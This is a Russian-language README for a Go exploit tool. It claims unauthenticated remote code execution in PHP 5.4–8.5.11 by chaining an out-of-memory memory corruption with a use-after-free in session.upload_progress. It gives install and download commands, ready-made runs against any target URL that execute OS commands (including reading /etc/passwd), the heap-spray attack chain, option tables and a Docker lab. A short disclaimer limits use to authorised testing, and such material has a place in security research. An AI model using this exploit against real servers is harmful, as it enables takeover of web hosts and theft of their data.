
[PHP2Shell] Эксплойт на Golang для CVE-2026-109618 / CVE-2026-109619: неаутентифицированное RCE в PHP 5.4–8.5.11 через повреждение памяти при OOM + UAF в session.upload_progress
Неаутентифицированное удалённое выполнение кода в PHP 5.4.0 – 8.5.11 (все веб-серверы).
CVSS 9.2 Critical · Исправлено 2026-10-21 · CISA KEV 2026-10-26
Только для авторизованного тестирования безопасности — на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
go install (самый быстрый, требуется Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Нет Go? Установите его за 30 секунд:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
Готовые бинарные файлы прикреплены к каждому релизу на GitHub.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
Бинарные файлы собираются автоматически через GitHub Actions при отправке нового тега.
Еслиcurlвозвращает крошечный файл с надписью "Not found", значит релиза ещё нет — используйте вместо этого Вариант A.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
В PHP есть две критичные ошибки безопасности памяти, срабатывающие при специально сформированных HTTP POST-запросах multipart/form-data:
| CVE | Тип | Триггер |
|---|---|---|
| CVE-2026-109618 | Повреждение памяти (OOM) | Крупные multipart-поля исчерпывают memory_limit в середине разбора, longjmp() срабатывает на частично инициализированном состоянии |
| CVE-2026-109619 | Use-after-free | Поле PHP_SESSION_UPLOAD_PROGRESS читает освобождённую память воркера из предыдущего запроса |
Ни одна из ошибок не требует входа в систему, специальной конечной точки или какого-либо кода приложения — они срабатывают внутри движка PHP до запуска любого скрипта .php.
Полный технический разбор с аннотированными HTTP-запросами см. в docs/vulnerability.md.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| Флаг | По умолчанию | Описание |
|---|---|---|
-target | обязательно | Базовый URL, например http://192.168.1.10 |
-path | /index.php | Путь к PHP-эндпоинту |
-cmd | id | Команда ОС для выполнения |
-mode | auto | auto / modphp / fpm |
-workers | 8 | Количество воркеров для спрея |
-oom-parts | 30 | Multipart-полей в фазе 1 |
-part-size | 204800 | Байт на поле (200 КБ) |
-spray-size | 131072 | Размер heap-спрея (128 КБ) |
-timeout | 15s | Таймаут на запрос |
-verbose | false | Выводить сырое тело ответа |
-leak-only | false | Только утечка памяти (анализ ASLR) |
| Ветка | Последняя уязвимая | Исправлено в |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | все | нет upstream-патча — используйте backport из дистрибутива |
Каталог sandbox/ содержит готовую уязвимую цель (PHP 8.4.26 + Apache mod_php) с настройками по умолчанию, которые делают уязвимыми обе CVE.
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only